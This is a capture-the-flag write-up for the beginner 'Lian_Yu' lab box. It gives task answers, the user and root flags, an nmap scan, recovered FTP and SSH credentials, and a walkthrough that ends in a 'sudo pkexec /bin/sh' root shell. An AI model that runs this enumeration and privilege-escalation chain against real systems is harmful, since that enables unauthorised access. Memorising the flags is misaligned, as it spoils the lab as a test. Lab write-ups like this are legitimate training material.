Lian_Yu

Lian_Yu

A beginner level security challenge

[Task 1] Find the Flags

Welcome to Lian_YU, this Arrowverse themed beginner CTF box!
Capture the flags and have fun.

#1

Deploy the VM and Start the Enumeration.

No answer needed

#2

What is the Web Directory you found?

http://10.10.18.60/island/2100/

2100

#3

what is the file name you found?

green_arrow.ticket

#4

what is the FTP Password?

!#th3h00d

#5

what is the file name with SSH password?

shado

#6

user.txt

THM{P30P7E_K33P_53CRET5__C0MPUT3R5_D0N'T}

#7

root.txt

THM{MY_W0RD_I5_MY_B0ND_IF_I_ACC3PT_YOUR_CONTRACT_THEN_I

nmap-scan

```
PORT    STATE SERVICE VERSION
21/tcp  open  ftp     vsftpd 3.0.2

22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey:
|   1024 56:50:bd:11:ef:d4:ac:56:32:c3:ee:73:3e:de:87:f4 (DSA)
|   2048 39:6f:3a:9c:b6:2d:ad:0c:d8:6d:be:77:13:07:25:d6 (RSA)
|   256 a6:69:96:d7:6d:61:27:96:7e:bb:9f:83:60:1b:52:12 (ECDSA)
|_  256 3f:43:76:75:a8:5a:a6:cd:33:b0:66:42:04:91:fe:a0 (ED25519)

80/tcp  open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Purgatory

111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          33975/udp   status
|   100024  1          40596/tcp   status
|   100024  1          46955/udp6  status
|_  100024  1          48671/tcp6  status

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

interestiung-stuff

The Code Word is: vigilante
/green_arrow.ticket (Status: 200)

This is just a token to get into Queen's Gambit(Ship)
RTy8yhBQdscX = !#th3h00d

FTP_Creds:
vigilante:!#th3h00d

SSH_Creds:
slade:M3tahuman

writeup

--ran nmap sC -sV 10.10.113.150 and found open ports at 21, 22, 80, and 11
--ran gobuster twice and found path /island/2100
--ran gobuster -w medium-dirs.txt -x ticket -u http://10.10.113.150/island/2100 and found green_arrow.ticket with password !#th3h00d for FTP

--ran ftp 10.10.113.150 and downloaded 3 images
--repaired header on “Leave_me_alone.png” and found password

--used that password and stegcracker on aa.jpg and got 2 files, passwd.txt and shado
--shado contains password M3tahuman, and while looged onto FTP, I noticed a user named slade

--ran ssh slade@10.10.113.150 with password M3tahuman

--ran cat user.txt:

```
THM{P30P7E_K33P_53CRET5__C0MPUT3R5_D0N'T}
```

--ran sudo -l:

```
User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec
```

--using command sudo pkexec /bin/sh I found on gtfobins I gained root shell
--ran whoami:

```
root
```

--ran ls:

```
root.txt
```

--ran cat root.txt and got root flag:

```
THM{MY_W0RD_I5_MY_B0ND_IF_I_ACC3PT_YOUR_CONTRACT_THEN_IT_WILL_BE_COMPL3TED_OR_I'LL_BE_D34D}
```